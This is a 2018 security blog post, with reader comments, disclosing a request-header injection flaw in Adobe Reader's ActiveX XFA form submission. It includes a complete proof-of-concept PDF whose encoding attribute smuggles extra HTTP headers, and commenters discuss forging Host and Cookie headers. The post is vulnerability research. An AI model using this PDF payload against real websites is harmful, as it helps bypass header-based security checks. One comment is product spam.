Wednesday, May 2, 2018

Adobe Reader PDF - Client Side Request Injection

Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests.
For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.
Additionally it is possible to create a completely new request by abusing HTTP pipelining.
One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.

With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.


SubmitForm


The XFA specification defines an element called <submit>. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will. 
I recommend to try it yourself ( start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader ). As soon as the PDF is loaded it will automatically trigger the POST request, no user interaction necessary.

Tested ActiveX version:
17.12.20093.238000

Adobe Acrobat Reader DC version:
18.011.20038

Technical notes


Normally I use the initialize event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the initialize event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the docReady event, as it is fired as soon as the DOM/document is properly merged.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
               <submit 
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"
                     target="http://example.com/test"/>
            </event>
</field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

Triggered HTTP request:

POST /test HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=utf-16
test: test
Accept-Language: de-DE
Host: example.com
[...]

7 comments:

  1. Could you tell this work when downloading PDF . Should we intercept requested than impose your pic?

    Please share demo video. Thank you in advance

    ReplyDelete
  2. Thank for this very interresting article Alex.
    I have a few questions about it.
    First of all, can you offer to download your PDF PoC (in github?).
    Second, can you give us the list of attribute to put inside "submit" tag in order to change differents headers you mentionned ?
    I wonder if it is possible via your PDF file to post a request to a site (eg. www.siteA.com/test) but to control in the request the host header (eg. Host: www.siteB.com) and the cookie header (eg. Cookie: test-1234)...
    Regards

    ReplyDelete
    Replies
    1. Hey :)
      There is no need to put it on github, you can copy&paste the PDF payload and save the file with a .PDF extension.
      Regarding you second question: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.364.2157&rep=rep1&type=pdf#page=858 here you go

      Regarding the last question: Just try the injection yourself and you will see what is possible and what not ;) (There are almost no restrictions)

      Delete
  3. Hey Alex.
    Just tried with my installed IE (default Win 10 version) and the last Adobe Acrobat Reader DC (free version) and... No doubt, it works! Pretty good stuff buddy. I managed to change the "host" header.
    Few issues to notice:
    - didn't manage to control "cookie" header (eg. textEncoding="UTF-16[...]Cookie test=1234[...]") => Can you try and tell me if you can?
    - "you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header." => didn't manage to keep changed headers with a redirect (303). In the trials i conducted, the "textEncoding="UTF-16[...]Host www.test.com[...]" worked for the fist POST request but disappeared in the redirect GET request (the real host header substituted my "www.test.com") => Have you ever tried it and if so, what HTTP code did you use for the redirect?
    - This header injection works with IE but seems to be disable with edge, chrome, firefox (at least last versions) => probably because of activeX plug in you mentionned...
    Thanks

    ReplyDelete
    Replies
    1. It make sense that the Host header gets overwritten via the redirect if you think about it ;) But most other headers should work fine.
      Regarding Cookies: I can't remember the exact behavior of cookies right now (in case you inject new cookie headers). Sorry, its been a while since I found this vuln and tested it ^^

      Delete
  4. If you will change xhtml to pdf without code, try https://www.coolutils.com/TotalMailConverterPro

    ReplyDelete